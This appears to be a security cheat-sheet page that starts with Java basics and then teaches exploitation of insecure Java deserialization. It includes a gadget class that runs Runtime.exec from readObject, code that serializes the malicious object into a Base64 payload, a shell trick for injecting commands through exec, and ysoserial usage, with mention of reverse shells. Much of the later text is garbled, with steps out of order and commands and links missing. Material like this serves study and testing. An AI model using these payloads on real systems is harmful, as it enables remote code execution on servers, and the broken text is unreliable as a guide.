An Object-Oriented programming language often used in enterprise environments
Description
Java is an Object-Oriented programming language that compiles into Java bytecode. The Java Virtual Machine (JVM) understands this bytecode and can run it. You code it in .java files and then there are a few more file types that the compiler goes through:
.java files are Java Source Code
.class files are the compiled bytecode
.jar files are a package of .class files (like a ZIP)
JVM unpacks .jar and runs .class bytecode
Hello World
Create a file that has the same name as the class:
HelloWorld.java
public class HelloWorld {
public static void main(String[] args) {
System.out.println("Hello, World!");
}
}
Then you can either compile and run it directly using java:
$ java HelloWorld.java
Hello, World!
Or compile it to bytecode, and run it later:
$ javac HelloWorld.java
$ file HelloWorld.class
HelloWorld.class: compiled Java class data, version 55.0
$ java HelloWorld
Hello, World!
Lastly, you can bundle the .class files into a JAR with some information like the entry point. This requires a Manifest.txt file with a Main-Class key set to the main class. This class needs to have the main() function we defined with its exact function signature.
Any programming language is made powerful by libraries. For Java, there are multiple build tools you can choose from for large projects, like Maven or Gradle. For a simple case, however, we can do this manually just using java commands.
Inside our source code, we can import the classes from this JAR now with the path from mvnrepository:
import com.fasterxml.jackson.databind.*;
After writing the code with this library that you want, use the classpath (-cp) option while compiling to add the libraries to the compiled version:
java -cp '.:./lib/*' HelloWorld.java
Insecure Deserialization
The ObjectOutputStream.writeObject() method can serialize an instance of an Object (that implements Serializable) into binary data (ByteArrayOutputStream). This can then be sent to any other system, which can reconstruct the Object by calling the ObjectInputStream.readObject() method on the binary data (ByteArrayInputStream).
Here is an example:
class Data implements Serializable {
public String name;
public Data(String name) {
this.name = name;
}
}
public class Example {
public static void main(String[] args) throws Exception {
// Create instance
Data instance = new Data("Jorian");
byte[] serialized = serialize(instance);
System.out.println(Arrays.toString(serialized)); // [-84, -19, ..., 97, 110]
// [...send over the network...]
// Deserialize from byte array
Data deserialized = (Data) deserialize(serialized);
System.out.println(deserialized.name); // "Jorian"
}
private static byte[] serialize(Object instance) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance); // Create "explanation" of instance as bytes
oos.close();
return baos.toByteArray();
}
private static Object deserialize(byte[] serialized) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serialized));
return ois.readObject(); // Set attributes on Data instance to recreate
}
}
While this is useful and easy to implement, its flexibility has some security risks. The risk is an attacker passing serialized data to a deserializer with different types than the original type, or altering the data to make it malicious. In the above example, it expects to deserialize a Data Object, but the byte array can hold any type to deserialize into.
After being deserialized, it would obviously not pass as a valid Data Object, and not have a .name attribute for example. But some code that still executes is the custom code that parses the byte array into an instance, which might still contain sensitive actions that you can perform at will:
public class EvilGadget implements Serializable {
private String command;
public EvilGadget(String command) {
this.command = command;
}
private void readObject(ObjectInputStream in) throws Exception {
in.defaultReadObject(); // Set attributes (command) as default would
Runtime.getRuntime().exec(command); // Custom code
}
}
The above could be some library function that the developer of this Example doesn't know about. The default readObject can be overridden in this way, with a .defaultReadObject() still being available to run the default method still. Before or after though, a developer can choose to write any extra code that needs to be executed to correctly deserialize the data. In the above gadget, a dangerous exec(command) call is included which can now be executed at will by the attacker by creating a malicious serialized object!
To exploit it, the attack must create and serialize a malicious object themselves, and then make the target deserialize it in some way:
class Generate {
public static void main(String[] args) throws IOException {
// Create malicious instance
EvilGadget instance = new EvilGadget("calc.exe");
// Serialize to byte array
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.close();
// Print as Base64
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}
When the target deserializes the payload, the command attribute will be set and the exec() command in readObject() will be executed, launching a calculator on Windows.
While this example was very clear, most real-world exploits use multiple chained gadgets to eventually reach a sensitive function with user input. This is possible because attributes can be Objects as well, and their attributes can be more Objects, etc. Creating such a payload is very similar to the example above but just requires more new objects in arguments like this:
EvilUncle instance = new EvilUncle(new EvilParent(new EvilChild("calc.exe")));
ysoserial
Instead of searching and creating new gadget chains for every deserialization issue you find, often well-known chains in libraries used in many projects can be enough.
For a proof-of-concept, executing a simple program like calc.exe on Windows may be enough. However, for Linux and more complicated payloads, you might require special bash syntax like | pipes or > redirects. Take the following example:
Runtime.getRuntime().exec("id > /tmp/pwned")
It does not write to /tmp/pwned, but instead, runs id with the arguments '>' and '/tmp/pwned':
$ id '>' '/tmp/pwned'
id: extra operand β/tmp/pwnedβ
Try 'id --help' for more information.
Runtime.getRuntime().exec("sh -c $@|sh . echo id > /tmp/pwned")
Some more tricks include using bash with Base64 and the {,} syntax, or using Python or Perl to evaluate code in a single command. Use the generator below to create these payloads easily:
In the above file, the extra newline at the end is important for some reason, don't forget it!
Afterward, you can bundle the files into a .jar ():
We'll start by finding a library JAR we want to use. We'll take as an example that we can find on the site. After choosing a specific version, we find a button to download the .jar file`: . This file will need to be included along with your source code. We'll put it in a lib/ folder next to the source code:
The ysoserial tool contains a that work on different versions and libraries. Depending on which your target uses, any of these can be a quick win.
Use a payload by choosing the name as the first argument, and a fitting command as the second. A payload like requires a command, so the following will generate it:
If you are receiving InaccessibleObjectException or IllegalAccessError, this is because Java >12 does not allow the way ysoserial accesses classes.
The --illegal-access=permit argument can be added to fix it, but after Java 17 even this is not allowed. From there, explicit --add-opens arguments need to be added which can do for you.
A useful payload for confirming an insecure deserialization vulnerability is in ysoserial. This has no dependencies and performs a DNS lookup of a URL you provide.
For a full explanation, see . The summary is that the java.net.URL class has a .hashCode() method that resolves the given URL and this method is automatically called when it is put into a java.util.HashMap.
Start a DNS listener using Burp Suite Professional, or using . Then generate the payload to execute on your target:
For a reverse shell or more complicated proof-of-concept, you can circumvent this using a few different tricks.
uses $@ together with piping into |sh to re-enable the use of these symbols, as a string is directly put into the STDIN of sh. The following payload would work: